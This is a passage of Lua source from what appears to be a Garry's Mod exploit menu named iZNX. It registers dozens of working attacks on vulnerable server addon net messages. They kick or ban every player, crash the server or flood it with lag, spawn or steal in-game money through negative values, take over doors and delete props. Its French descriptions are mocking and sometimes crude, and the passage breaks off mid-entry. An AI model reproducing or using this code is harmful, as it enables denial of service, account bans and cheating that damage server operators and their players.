  798. { typ = "func", name = "Vie Normal", func = function()
  799. iZNX.NetStart("drugseffect_hpremove")
  800. net.WriteString(iZNX.GetStored( "montant_argent15" ))
  801. net.SendToServer()
  802. end, },
  803. },
  804. } )
  805. iZNX.AddExploit( "Teleportation", {
  806. desc = "Teleport les joueurs que vous regarder au spawn)",
  807. severity = 2,
  808. scan = function() return iZNX.ValidNetString( "DarkRP_Kun_ForceSpawn" ) end,
  809. functions = {
  810. { typ = "func", name = "Teleport", func = function()
  811. iZNX.NetStart("DarkRP_Kun_ForceSpawn")
  812. net.SendToServer()
  813. end, },
  814. },
  815. } )
  816. iZNX.AddExploit( "Supprimer les props 2", {
  817. desc = "Je sait pas ce que ça fait (ça fait surement respawn les joueurs que vous visez ou un truc comme ça ^^'')",
  818. severity = 2,
  819. scan = function() return iZNX.ValidNetString( "drugs_text" ) end,
  820. functions = {
  821. { typ = "func", name = "Supprimer", func = function()
  822. iZNX.NetStart("drugs_text")
  823. net.WriteString("prop_physics")
  824. net.SendToServer()
  825. end, },
  826. },
  827. } )
  828. iZNX.AddExploit( "Kick 3", {
  829. desc = "Exploit pour kick touts les joueurs",
  830. severity = 3,
  831. scan = function() return iZNX.ValidNetString( "NLRKick" ) end,
  832. functions = {
  833. { typ = "players", addr = "l_players_listing515" },
  834. { typ = "func", name = "Kick", func = function()
  835. local t = iZNX.GetStored( "l_players_listing515", {} )
  836. for k, v in pairs( player.GetAll() ) do
  837. if !table.HasValue( t, v ) then continue end
  838. iZNX.NetStart("NLRKick")
  839. net.WriteEntity(v)
  840. net.SendToServer()
  841. end
  842. end, },
  843. },
  844. } )
  845. iZNX.AddExploit( "Kick 2", {
  846. desc = "Exploit pour kick",
  847. severity = 3,
  848. scan = function() return iZNX.ValidNetString( "RecKickAFKer" ) end,
  849. functions = {
  850. { typ = "players", addr = "l_players_listing2545" },
  851. { typ = "func", name = "Kick", func = function()
  852. local t = iZNX.GetStored( "l_players_listing2545", {} )
  853. for k, v in pairs( player.GetAll() ) do
  854. if !table.HasValue( t, v ) then continue end
  855. iZNX.NetStart("RecKickAFKer")
  856. net.WriteEntity(v)
  857. net.SendToServer()
  858. end
  859. end, },
  860. },
  861. } )
  862. iZNX.AddExploit( "Loot Items", {
  863. desc = "Auto-Loot des items",
  864. severity = 2,
  865. scan = function() return iZNX.ValidNetString( "GMBG:PickupItem" ) end,
  866. functions = {
  867. { typ = "func", name = "Loot", func = function()
  868. for k, v in pairs(ents.GetAll()) do
  869. if v:GetClass() == "item_loot" then
  870. iZNX.NetStart("GMBG:PickupItem")
  871. net.WriteEntity(v)
  872. net.SendToServer()
  873. iZNX.NetStart("GMBG:PickupItem")
  874. net.WriteEntity(v)
  875. net.SendToServer()
  876. iZNX.NetStart("GMBG:PickupItem")
  877. net.WriteEntity(v)
  878. net.SendToServer()
  879. iZNX.NetStart("GMBG:PickupItem")
  880. net.WriteEntity(v)
  881. net.SendToServer()
  882. iZNX.NetStart("GMBG:PickupItem")
  883. net.WriteEntity(v)
  884. net.SendToServer()
  885. iZNX.NetStart("GMBG:PickupItem")
  886. net.WriteEntity(v)
  887. net.SendToServer()
  888. end
  889. end
  890. end, },
  891. },
  892. } )
  893. iZNX.AddExploit( "Kick tout le monde", {
  894. desc = "Exploit pour kick touts les joueurs",
  895. severity = 3,
  896. scan = function() return iZNX.ValidNetString( "DL_Answering" ) end,
  897. functions = {
  898. { typ = "func", name = "Kick", func = function()
  899. if !timer.Exists( "kickallnoob" ) then
  900. iZNX.ChatText( "Kick tout le monde lancé" )
  901. timer.Create( "kickallnoob", 0.05, 0, function()
  902. for i = 1, 2000 do
  903. iZNX.NetStart("DL_Answering")
  904. net.SendToServer()
  905. end
  906. end)
  907. else
  908. timer.Remove( "kickallnoob" )
  909. iZNX.ChatText( "Kick tout le monde stoppé" )
  910. end
  911. end, },
  912. },
  913. } )
  914. iZNX.AddExploit( "Kick 1", {
  915. desc = "Exploit pour kick les Admins",
  916. severity = 3,
  917. scan = function() return iZNX.ValidNetString( "plyWarning" ) end,
  918. functions = {
  919. { typ = "players", addr = "l_players_listing255" },
  920. { typ = "func", name = "Kick", func = function()
  921. local t = iZNX.GetStored( "l_players_listing255", {} )
  922. for k, v in pairs( player.GetAll() ) do
  923. if !table.HasValue( t, v ) then continue end
  924. iZNX.NetStart('plyWarning')
  925. net.WriteEntity(v)
  926. net.WriteString('You have to select a player before doing a action.')
  927. net.SendToServer()
  928. iZNX.ChatText("Tentative de kick sur ".. v:Nick().. "!")
  929. end
  930. end, },
  931. },
  932. } )
  933. iZNX.AddExploit( "NLR Freeze", {
  934. desc = "Exploit pour freeze des joueurs",
  935. severity = 3,
  936. scan = function() return iZNX.ValidNetString( "NLR.ActionPlayer" ) end,
  937. functions = {
  938. { typ = "players", addr = "l_players_listing45" },
  939. { typ = "func", name = "Freeze", func = function()
  940. local t = iZNX.GetStored( "l_players_listing45", {} )
  941. for k, v in pairs( player.GetAll() ) do
  942. if !table.HasValue( t, v ) then continue end
  943. iZNX.NetStart("NLR.ActionPlayer")
  944. net.WriteEntity(v)
  945. net.SendToServer()
  946. end
  947. end, },
  948. },
  949. } )
  950. iZNX.AddExploit( "Supprimer les props 1", {
  951. desc = "Supprimer touts les props du serveur x)",
  952. severity = 2,
  953. scan = function() return iZNX.ValidNetString( "timebombDefuse" ) end,
  954. functions = {
  955. { typ = "func", name = "Supprimer", func = function()
  956. for k,v in pairs(ents.GetAll()) do
  957. iZNX.NetStart("timebombDefuse")
  958. net.WriteEntity(v)
  959. net.WriteBool(true)
  960. net.SendToServer()
  961. end
  962. end, },
  963. },
  964. } )
  965. iZNX.AddExploit( "Hack Keypads", {
  966. desc = "Tu peux mettre Anonymous en photo de profil maintenant.",
  967. severity = 1,
  968. scan = function() return iZNX.ValidNetString( "start_wd_emp" ) end,
  969. functions = {
  970. { typ = "func", name = "Hacker", func = function()
  971. iZNX.NetStart("start_wd_emp")
  972. net.SendToServer()
  973. end, },
  974. },
  975. } )
  976. iZNX.AddExploit( "€ Kart System €", {
  977. desc = "Exploit d'argent.",
  978. severity = 3,
  979. scan = function() return iZNX.ValidNetString( "kart_sell" ) end,
  980. functions = {
  981. { typ = "func", name = "Lancer", func = function()
  982. for i=1, 300 do
  983. iZNX.NetStart("kart_sell")
  984. net.WriteString("sw_gokart")
  985. net.SendToServer()
  986. end
  987. end, },
  988. },
  989. } )
  990. iZNX.AddExploit( "€ Farming Mod €", {
  991. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  992. severity = 3,
  993. scan = function() return iZNX.ValidNetString( "FarmingmodSellItems" ) end,
  994. functions = {
  995. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent1" },
  996. { typ = "func", name = "Prendre", func = function()
  997. iZNX.NetStart( "FarmingmodSellItems" )
  998. net.WriteTable(
  999. {
  1000. Cost = 10,
  1001. CropModel = "models/props/eryk/garlic.mdl",
  1002. CropType = 2,
  1003. Info = "Garlic Seed",
  1004. Model = "models/props/eryk/seedbag.mdl",
  1005. Name = "Garlic",
  1006. Quality = 4,
  1007. Sell = iZNX.GetStored( "montant_argent1" ),
  1008. Type = "Seed"
  1009. }
  1010. )
  1011. net.WriteInt(1,16)
  1012. net.SendToServer()
  1013. end, },
  1014. },
  1015. } )
  1016. iZNX.AddExploit( "€ Point Shop €", {
  1017. desc = "Exploit d'argent, go payer des putes et de la coke ;)",
  1018. severity = 3,
  1019. scan = function() return iZNX.ValidNetString( "ClickerAddToPoints" ) end,
  1020. functions = {
  1021. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent2" },
  1022. { typ = "func", name = "Prendre", func = function()
  1023. iZNX.NetStart("ClickerAddToPoints")
  1024. net.WriteInt(iZNX.GetStored( "montant_argent2" ), 32)
  1025. net.SendToServer()
  1026. end, },
  1027. },
  1028. } )
  1029. local PM = 1
  1030. local SK = 1
  1031. local BG = 1
  1032. local HN = 1
  1033. local TS = 1
  1034. local GL = 1
  1035. local LG = 1
  1036. iZNX.AddExploit( "Body Groups", {
  1037. desc = "Changer de skin",
  1038. severity = 1,
  1039. scan = function() return iZNX.ValidNetString( "bodyman_model_change" ) end,
  1040. functions = {
  1041. { typ = "func", name = "Changer", func = function()
  1042. PlayerModels = {0,1,2,3,4,5,6}
  1043. Torso = {0,1,2,3,4,5,6,7,8,9,10}
  1044. Legs = {0,1,2,3,4,5,6}
  1045. Hands = {0,1,2}
  1046. Glasses = {0,1}
  1047. Skins = {0,1,2,3,4,5,6,7,8,9,10}
  1048. PM = PM+1
  1049. TS = TS+1
  1050. LG = LG+1
  1051. HN = HN+1
  1052. GL = GL+1
  1053. SK = SK+1
  1054. if (PM>#PlayerModels) then PM=1 end
  1055. if (SK>#Skins) then SK=1 end
  1056. if (HN>#Hands) then HN=1 end
  1057. if (TS>#Torso) then TS=1 end
  1058. if (GL>#Glasses) then GL=1 end
  1059. if (LG>#Legs) then LG=1 end
  1060. iZNX.NetStart("bodyman_model_change")
  1061. net.WriteInt(PlayerModels[PM], 10 )
  1062. net.SendToServer()
  1063. iZNX.NetStart("bodygroups_change")
  1064. net.WriteTable( { 1, Torso[TS] } )
  1065. net.SendToServer()
  1066. iZNX.NetStart("bodygroups_change")
  1067. net.WriteTable( { 2, Legs[LG] } )
  1068. net.SendToServer()
  1069. iZNX.NetStart("bodygroups_change")
  1070. net.WriteTable( { 3, Hands[HN] } )
  1071. net.SendToServer()
  1072. iZNX.NetStart("bodygroups_change")
  1073. net.WriteTable( { 4, Glasses[GL] } )
  1074. net.SendToServer()
  1075. end, },
  1076. },
  1077. } )
  1078. iZNX.AddExploit( "€ Hitman X €", {
  1079. desc = "Exploit d'argent",
  1080. severity = 3,
  1081. scan = function() return iZNX.ValidNetString( "SendMoney" ) end,
  1082. functions = {
  1083. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent666" },
  1084. { typ = "players", addr = "l_players_list" },
  1085. { typ = "func", name = "Donner", func = function()
  1086. local t = iZNX.GetStored( "l_players_list", {} )
  1087. for k, v in pairs( player.GetAll() ) do
  1088. if !table.HasValue( t, v ) then continue end
  1089. hook.Remove( "HUDPaint", "skhdsakjl")
  1090. iZNX.NetStart( "SendMoney" )
  1091. net.WriteEntity( v )
  1092. net.WriteEntity( v )
  1093. net.WriteEntity( v )
  1094. net.WriteString( -iZNX.GetStored( "montant_argent666" ) )
  1095. net.SendToServer()
  1096. end
  1097. end, },
  1098. { typ = "func", name = "Enlever", func = function()
  1099. hook.Remove( "HUDPaint", "skhdsakjl")
  1100. local t = iZNX.GetStored( "l_players_list", {} )
  1101. for k, v in pairs( player.GetAll() ) do
  1102. if !table.HasValue( t, v ) then continue end
  1103. iZNX.NetStart( "SendMoney" )
  1104. net.WriteEntity( v )
  1105. net.WriteEntity( v )
  1106. net.WriteEntity( v )
  1107. net.WriteString( iZNX.GetStored( "montant_argent666" ) )
  1108. net.SendToServer()
  1109. end
  1110. end, },
  1111. },
  1112. } )
  1113. iZNX.AddExploit( "€ Bail Out €", {
  1114. desc = "Exploit d'argent",
  1115. severity = 3,
  1116. scan = function() return iZNX.ValidNetString( "BailOut" ) end,
  1117. functions = {
  1118. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent16" },
  1119. { typ = "players", addr = "l_player_liste" },
  1120. { typ = "func", name = "Donner", func = function()
  1121. local t = iZNX.GetStored( "l_player_liste", {} )
  1122. for k, v in pairs( player.GetAll() ) do
  1123. if !table.HasValue( t, v ) then continue end
  1124. iZNX.NetStart( "BailOut" )
  1125. net.WriteEntity( LocalPlayer() )
  1126. net.WriteEntity( v )
  1127. net.WriteFloat( -iZNX.GetStored( "montant_argent16" ) )
  1128. net.SendToServer()
  1129. end
  1130. end, },
  1131. { typ = "func", name = "Enlever", func = function()
  1132. local t = iZNX.GetStored( "l_player_liste", {} )
  1133. for k, v in pairs( player.GetAll() ) do
  1134. if !table.HasValue( t, v ) then continue end
  1135. iZNX.NetStart( "BailOut" )
  1136. net.WriteEntity( LocalPlayer() )
  1137. net.WriteEntity( v )
  1138. net.WriteFloat( iZNX.GetStored( "montant_argent16" ) )
  1139. net.SendToServer()
  1140. end
  1141. end, },
  1142. },
  1143. } )
  1144. iZNX.AddExploit( "€ Tow Truck €", {
  1145. desc = "Spawn vehicule dépanneur / Exploit d'argent Regarder le vehicule qui possède une amande",
  1146. severity = 2,
  1147. scan = function() return iZNX.ValidNetString( "TOW_SubmitWarning" ) end,
  1148. functions = {
  1149. { typ = "func", name = "Spawn Dépanneuse", func = function()
  1150. iZNX.NetStart("TowTruck_CreateTowTruck")
  1151. net.SendToServer()
  1152. end, },
  1153. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent17" },
  1154. { typ = "func", name = "Argent Exploit", func = function()
  1155. for k,v in pairs(ents.GetAll()) do
  1156. iZNX.NetStart("TOW_SubmitWarning")
  1157. net.WriteString(LocalPlayer():SteamID())
  1158. net.WriteDouble(-iZNX.GetStored( "montant_argent17" ))
  1159. net.WriteEntity(v)
  1160. net.SendToServer()
  1161. iZNX.NetStart("TOW_PayTheFine")
  1162. net.WriteEntity(v)
  1163. net.SendToServer()
  1164. end
  1165. end, },
  1166. },
  1167. } )
  1168. iZNX.AddExploit( "Fire Truck", {
  1169. desc = "Spawn camion de pompier",
  1170. severity = 1,
  1171. scan = function() return iZNX.ValidNetString( "FIRE_CreateFireTruck" ) end,
  1172. functions = {
  1173. { typ = "func", name = "Spawn", func = function()
  1174. iZNX.NetStart("FIRE_CreateFireTruck")
  1175. net.SendToServer()
  1176. end, },
  1177. },
  1178. } )
  1179. iZNX.AddExploit( "€ Hit Menu €", {
  1180. desc = "Exploit d'argent",
  1181. severity = 3,
  1182. scan = function() return iZNX.ValidNetString( "hitcomplete" ) end,
  1183. functions = {
  1184. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent18" },
  1185. { typ = "func", name = "Prendre", func = function()
  1186. iZNX.NetStart("hitcomplete")
  1187. net.WriteDouble(iZNX.GetStored( "montant_argent18" ))
  1188. net.SendToServer()
  1189. end, },
  1190. },
  1191. } )
  1192. iZNX.AddExploit( "€ HHH €", {
  1193. desc = "Exploit d'argent",
  1194. severity = 3,
  1195. scan = function() return iZNX.ValidNetString( "hhh_request" ) end,
  1196. functions = {
  1197. { typ = "func", name = "Prendre", func = function()
  1198. local plyhhh = LocalPlayer()
  1199. for k,v in pairs(player.GetAll()) do
  1200. dahater = v
  1201. end
  1202. if dahater != plyhhh then
  1203. local hitRequest = {}
  1204. hitRequest.hitman = plyhhh
  1205. hitRequest.requester = plyhhh
  1206. hitRequest.target = dahater
  1207. hitRequest.reward = -9999999
  1208. iZNX.NetStart( 'hhh_request' )
  1209. net.WriteTable( hitRequest )
  1210. net.SendToServer()
  1211. else
  1212. iZNX.ChatText( "Cette version de HHH n'est pas exploitable !" )
  1213. end
  1214. end, },
  1215. },
  1216. } )
  1217. iZNX.AddExploit( "€ DaHit €", {
  1218. desc = "Exploit d'argent",
  1219. severity = 3,
  1220. scan = function() return iZNX.ValidNetString( "DaHit" ) end,
  1221. functions = {
  1222. { typ = "float", name = "Montant", min = "1", max = "100000000", default = "100000", addr = "montant_argent20" },
  1223. { typ = "players", addr = "l_players_listdahit" },
  1224. { typ = "func", name = "Donner", func = function()
  1225. local t = iZNX.GetStored( "l_players_listdahit", {} )
  1226. for k, v in pairs( player.GetAll() ) do
  1227. if !table.HasValue( t, v ) then continue end
  1228. hook.Remove( "HUDPaint", "skhdsakjl")
  1229. iZNX.NetStart( "DaHit" )
  1230. net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) )
  1231. net.WriteEntity( v )
  1232. net.WriteEntity( v )
  1233. net.WriteEntity( v )
  1234. net.SendToServer()
  1235. end
  1236. end, },
  1237. { typ = "func", name = "Enlever", func = function()
  1238. local t = iZNX.GetStored( "l_players_listdahit", {} )
  1239. for k, v in pairs( player.GetAll() ) do
  1240. if !table.HasValue( t, v ) then continue end
  1241. hook.Remove( "HUDPaint", "skhdsakjl")
  1242. iZNX.NetStart( "DaHit" )
  1243. net.WriteFloat( iZNX.GetStored( "montant_argent20" ) )
  1244. net.WriteEntity( v )
  1245. net.WriteEntity( v )
  1246. net.WriteEntity( v )
  1247. net.SendToServer()
  1248. end
  1249. end, },
  1250. { typ = "func", name = "Spam Prendre", func = function()
  1251. if !timer.Exists( "Lokidev_exploit_spamdahitprendre" ) then
  1252. iZNX.ChatText( "Spam lancé" )
  1253. timer.Create( "Lokidev_exploit_spamdahitprendre", 1, 0, function()
  1254. local t = iZNX.GetStored( "l_players_listdahit", {} )
  1255. for k, v in pairs( player.GetAll() ) do
  1256. if !table.HasValue( t, v ) then continue end
  1257. hook.Remove( "HUDPaint", "skhdsakjl")
  1258. iZNX.NetStart( "DaHit" )
  1259. net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) )
  1260. net.WriteEntity( v )
  1261. net.WriteEntity( v )
  1262. net.WriteEntity( v )
  1263. net.SendToServer()
  1264. end
  1265. end)
  1266. else
  1267. timer.Remove( "Lokidev_exploit_spamdahitprendre" )
  1268. iZNX.ChatText( "Spam stoppé" )
  1269. end
  1270. end, },
  1271. { typ = "func", name = "Spam Enlever", func = function()
  1272. if !timer.Exists( "Lokidev_exploit_spamdahitenlever" ) then
  1273. iZNX.ChatText( "Spam lancé" )
  1274. timer.Create( "Lokidev_exploit_spamdahitenlever", 1, 0, function()
  1275. local t = iZNX.GetStored( "l_players_listdahit", {} )
  1276. for k, v in pairs( player.GetAll() ) do
  1277. if !table.HasValue( t, v ) then continue end
  1278. hook.Remove( "HUDPaint", "skhdsakjl")
  1279. iZNX.NetStart( "DaHit" )
  1280. net.WriteFloat( iZNX.GetStored( "montant_argent20" ) )
  1281. net.WriteEntity( v )
  1282. net.WriteEntity( v )
  1283. net.WriteEntity( v )
  1284. net.SendToServer()
  1285. end
  1286. end)
  1287. else
  1288. timer.Remove( "Lokidev_exploit_spamdahitenlever" )
  1289. iZNX.ChatText( "Spam stoppé" )
  1290. end
  1291. end, },
  1292. },
  1293. } )
  1294. iZNX.AddExploit( "Anti-Printer", {
  1295. desc = "Appliquez des dommages constants aux Printers à proximité",
  1296. severity = 1,
  1297. scan = function() return iZNX.ValidNetString( "customprinter_get" ) end,
  1298. functions = {
  1299. { typ = "func", name = "Lancer", func = function()
  1300. if !timer.Exists( "Lokidev_exploit_printersmasher" ) then
  1301. iZNX.ChatText( "Anti-Printer lancé" )
  1302. timer.Create( "Lokidev_exploit_printersmasher", 0, 0, function()
  1303. for k, v in pairs( ents.GetAll() ) do
  1304. if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then
  1305. iZNX.NetStart("customprinter_get")
  1306. net.WriteEntity(v)
  1307. net.WriteString("onoff")
  1308. net.SendToServer()
  1309. end
  1310. end
  1311. end)
  1312. else
  1313. timer.Remove( "Lokidev_exploit_printersmasher" )
  1314. iZNX.ChatText( "Anti-Printer stoppé" )
  1315. end
  1316. end, },
  1317. },
  1318. } )
  1319. iZNX.AddExploit( "Crash le Serveur", {
  1320. desc = "Comme sont nom l'indique niquez moi ce serveur de la",
  1321. severity = 3,
  1322. scan = function() return iZNX.ValidNetString( "textstickers_entdata" ) end,
  1323. functions = {
  1324. { typ = "func", name = "Crash", func = function()
  1325. iZNX.NetStart( "textstickers_entdata" )
  1326. net.WriteUInt( 0xFFFFFFF, 32 )
  1327. net.SendToServer()
  1328. end, },
  1329. },
  1330. } )
  1331. iZNX.AddExploit( "Munition Gratuit", {
  1332. desc = "Vous donne des munition pour toutes vos armes",
  1333. severity = 1,
  1334. scan = function() return iZNX.ValidNetString( "TCBBuyAmmo" ) end,
  1335. functions = {
  1336. { typ = "func", name = "Prendre", func = function()
  1337. for k,v in pairs(GAMEMODE.AmmoTypes) do
  1338. iZNX.NetStart("TCBBuyAmmo")
  1339. net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
  1340. net.SendToServer()
  1341. end
  1342. end, },
  1343. },
  1344. } )
  1345. iZNX.AddExploit( "€ Advanced Money Printer €", {
  1346. desc = "Voler tout l'argent des printers",
  1347. severity = 3,
  1348. scan = function() return iZNX.ValidNetString( "DataSend" ) end,
  1349. functions = {
  1350. { typ = "func", name = "Prendre", func = function()
  1351. for k, v in pairs( ents.GetAll() ) do
  1352. if v:GetClass() == "adv_moneyprinter" then
  1353. iZNX.NetStart("DataSend")
  1354. net.WriteFloat(2)
  1355. net.WriteEntity(v)
  1356. net.WriteEntity(LocalPlayer())
  1357. net.SendToServer()
  1358. end
  1359. end
  1360. end, },
  1361. },
  1362. } )
  1363. iZNX.AddExploit( "gBan Ban tout le monde", {
  1364. desc = "Exploit pout bannir tout le monde sauf toi ^^, exploit trouvé dans une ancienne version de gBan",
  1365. severity = 3,
  1366. scan = function() return iZNX.ValidNetString( "gBan.BanBuffer" ) end,
  1367. functions = {
  1368. { typ = "func", name = "Lancer", func = function()
  1369. for k,v in pairs(player.GetAll()) do
  1370. if v != LocalPlayer() then
  1371. iZNX.NetStart( "gBan.BanBuffer" )
  1372. net.WriteBool( true )
  1373. net.WriteInt( 0, 32 )
  1374. net.WriteString( "Des poutous partout" )
  1375. net.WriteString( v:SteamID() )
  1376. net.SendToServer()
  1377. end
  1378. end
  1379. end, },
  1380. },
  1381. } )
  1382. iZNX.AddExploit( "Lag Exploit #1", {
  1383. desc = "L'admin devrait avoir honte de faire payer un VIP.",
  1384. severity = 2,
  1385. scan = function() return iZNX.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end,
  1386. functions = {
  1387. { typ = "func", name = "Big Lag", func = function()
  1388. if !timer.Exists( "Lokidev_exploit_lagsploit1" ) then
  1389. iZNX.ChatText( "Lag lancé" )
  1390. timer.Create( "Lokidev_exploit_lagsploit1", 0.02, 0, function()
  1391. for k,v in pairs(player.GetAll()) do
  1392. iZNX.NetStart( "ATS_WARP_REMOVE_CLIENT" )
  1393. net.WriteEntity( v )
  1394. net.WriteString( "adminroom1" )
  1395. net.SendToServer()
  1396. iZNX.NetStart( "ATS_WARP_FROM_CLIENT" )
  1397. net.WriteEntity( v )
  1398. net.WriteString( "adminroom1" )
  1399. net.SendToServer()
  1400. iZNX.NetStart( "ATS_WARP_VIEWOWNER" )
  1401. net.WriteEntity( v )
  1402. net.WriteString( "adminroom1" )
  1403. net.SendToServer()
  1404. end
  1405. end)
  1406. else
  1407. timer.Remove( "Lokidev_exploit_lagsploit1" )
  1408. iZNX.ChatText( "Lag stoppé" )
  1409. end
  1410. end, },
  1411. },
  1412. } )
  1413. iZNX.AddExploit( "Console Spam", {
  1414. desc = "Supposé être un lag exploit mais ne provoque pas de lags, juste des spams console",
  1415. severity = 1,
  1416. scan = function() return ULib end,
  1417. functions = {
  1418. { typ = "func", name = "Big Spam", func = function()
  1419. if !timer.Exists( "Lokidev_exploit_bigspames2" ) then
  1420. iZNX.ChatText( "Lag lancé" )
  1421. timer.Create( "Lokidev_exploit_bigspames2", 0, 0, function()
  1422. for i = 1, 200 do
  1423. LocalPlayer():ConCommand( "_u Seized by NineTailedFox xD " )
  1424. end
  1425. end)
  1426. else
  1427. timer.Remove( "Lokidev_exploit_bigspames2" )
  1428. iZNX.ChatText( "Lag stoppé" )
  1429. end
  1430. end, },
  1431. },
  1432. } )
  1433. iZNX.AddExploit( "Lag Exploit #2", {
  1434. desc = "Clique pour mettre en position croque mcdo le fonda!",
  1435. severity = 1,
  1436. scan = function() return iZNX.ValidNetString( "Keypad" ) end,
  1437. functions = {
  1438. { typ = "func", name = "Big Lag", func = function()
  1439. if !timer.Exists( "Lokidev_exploit_lagsploit4" ) then
  1440. iZNX.ChatText( "Lag lancé" )
  1441. timer.Create( "Lokidev_exploit_lagsploit4", 0, 0, function()
  1442. for i = 1, 1000 do
  1443. iZNX.NetStart("Keypad")
  1444. net.WriteEntity(LocalPlayer())
  1445. net.SendToServer()
  1446. end
  1447. end)
  1448. else
  1449. timer.Remove( "Lokidev_exploit_lagsploit4" )
  1450. iZNX.ChatText( "Lag stoppé" )
  1451. end
  1452. end, },
  1453. },
  1454. } )
  1455. iZNX.AddExploit( "Lag Exploit #3", {
  1456. desc = "Faire lag le serveur comme s'il était hébergé en Afrique",
  1457. severity = 2,
  1458. scan = function() return iZNX.ValidNetString( "CreateCase" ) end,
  1459. functions = {
  1460. { typ = "func", name = "Big Lag", func = function()
  1461. if !timer.Exists( "Lokidev_exploit_lagsploit5" ) then
  1462. iZNX.ChatText( "Lag lancé" )
  1463. timer.Create( "Lokidev_exploit_lagsploit5", 0.02, 0, function()
  1464. for i = 1, 300 do
  1465. iZNX.NetStart( "CreateCase" )
  1466. net.WriteString( "Bitch please" )
  1467. net.SendToServer()
  1468. end
  1469. end)
  1470. else
  1471. timer.Remove( "Lokidev_exploit_lagsploit5" )
  1472. iZNX.ChatText( "Lag stoppé" )
  1473. end
  1474. end, },
  1475. },
  1476. } )
  1477. iZNX.AddExploit( "Lag Exploit #4", {
  1478. desc = "Il doit y en avoir des merdes dans ce serveur !",
  1479. severity = 2,
  1480. scan = function() return iZNX.ValidNetString( "rprotect_terminal_settings" ) end,
  1481. functions = {
  1482. { typ = "func", name = "Big Lag", func = function()
  1483. if !timer.Exists( "Lokidev_exploit_lagsploit6" ) then
  1484. iZNX.ChatText( "Lag lancé" )
  1485. timer.Create( "Lokidev_exploit_lagsploit6", 0.02, 0, function()
  1486. for i = 1, 200 do
  1487. iZNX.NetStart( "rprotect_terminal_settings" )
  1488. net.WriteEntity( LocalPlayer() )
  1489. net.SendToServer()
  1490. end
  1491. end)
  1492. else
  1493. timer.Remove( "Lokidev_exploit_lagsploit6" )
  1494. iZNX.ChatText( "Lag stoppé" )
  1495. end
  1496. end, },
  1497. },
  1498. } )
  1499. iZNX.AddExploit( "Lag Exploit #5", {
  1500. desc = "Faire crash un serveur sans props ? Mkprod en sueur!",
  1501. severity = 2,
  1502. scan = function() return iZNX.ValidNetString( "StackGhost" ) end,
  1503. functions = {
  1504. { typ = "func", name = "Big Lags", func = function()
  1505. if !timer.Exists( "Lokidev_exploit_lagsploit7" ) then
  1506. iZNX.ChatText( "Lag lancé" )
  1507. timer.Create( "Lokidev_exploit_lagsploit7", 0.015, 0, function()
  1508. for i = 1, 8 do
  1509. for k,v in pairs( player.GetAll() ) do
  1510. iZNX.NetStart( "StackGhost" )
  1511. net.WriteInt(69,32)
  1512. net.SendToServer()
  1513. end
  1514. end
  1515. end)
  1516. else
  1517. timer.Remove( "Lokidev_exploit_lagsploit7" )
  1518. iZNX.ChatText( "Lag stoppé" )
  1519. end
  1520. end, },
  1521. },
  1522. } )
  1523. iZNX.AddExploit( "Réanimation Exploit", {
  1524. desc = "Vous etes automatiquement réanimé après avoir été tué",
  1525. severity = 2,
  1526. scan = function() return iZNX.ValidNetString( "RevivePlayer" ) end,
  1527. functions = {
  1528. { typ = "func", name = "Immortel :)", func = function()
  1529. if !timer.Exists( "Lokidev_exploit_zombie" ) then
  1530. iZNX.ChatText( "Tu es Immortel" )
  1531. timer.Create( "Lokidev_exploit_zombie", 0.5, 0, function()
  1532. if !LocalPlayer():Alive() then
  1533. iZNX.NetStart("RevivePlayer")
  1534. net.WriteEntity(LocalPlayer())
  1535. net.SendToServer()
  1536. end
  1537. end)
  1538. else
  1539. timer.Remove( "Lokidev_exploit_zombie" )
  1540. iZNX.ChatText( "Tu es redevenu Mortel!" )
  1541. end
  1542. end, },
  1543. },
  1544. } )
  1545. iZNX.AddExploit( "Armory Robbery", {
  1546. desc = "Prenez les armes de la police à l'armurerie (Vous devez etre proche d'elle), a un temps de recharge de 5 minutes",
  1547. severity = 2,
  1548. scan = function() return iZNX.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
  1549. functions = {
  1550. { typ = "func", name = "Prendre Arme 1", func = function()
  1551. iZNX.NetStart("ARMORY_RetrieveWeapon")
  1552. net.WriteString("weapon1")
  1553. net.SendToServer()
  1554. end, },
  1555. { typ = "func", name = "Prendre Arme 2", func = function()
  1556. iZNX.NetStart("ARMORY_RetrieveWeapon")
  1557. net.WriteString("weapon2")
  1558. net.SendToServer()
  1559. end, },
  1560. { typ = "func", name = "Prendre Arme 3", func = function()
  1561. iZNX.NetStart("ARMORY_RetrieveWeapon")
  1562. net.WriteString("weapon3")
  1563. net.SendToServer()
  1564. end, },
  1565. },
  1566. } )
  1567. iZNX.AddExploit( "Admin Stick / Porte exploit", {
  1568. desc = "Déverrouiller / Verrouiller Porte / Enlever le proprio (vous devez regarder une porte)",
  1569. severity = 3,
  1570. scan = function() return iZNX.ValidNetString( "fp_as_doorHandler" ) end,
  1571. functions = {
  1572. { typ = "func", name = "Déverrouiller", func = function()
  1573. iZNX.NetStart("fp_as_doorHandler")
  1574. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  1575. net.WriteString("unlock")
  1576. net.SendToServer()
  1577. end, },
  1578. { typ = "func", name = "Verrouiller", func = function()
  1579. iZNX.NetStart("fp_as_doorHandler")
  1580. net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
  1581. net.WriteString("lock")
  1582. net.SendToServer()
  1583. end, },
  1584. { typ = "func", name = "Enlever le Proprio", func = function()
  1585. local door = LocalPlayer():GetEyeTrace().Entity
  1586. local doorOwner = door:getDoorData()["owner"]
  1587. iZNX.NetStart("fp_as_doorHandler")
  1588. net.WriteEntity(door)
  1589. net.WriteString("removeOwner")
  1590. net.WriteDouble(doorOwner)
  1591. net.SendToServer()
  1592. end, },
  1593. },
  1594. } )
  1595. iZNX.AddExploit( "Lokidev Report Spammer", {
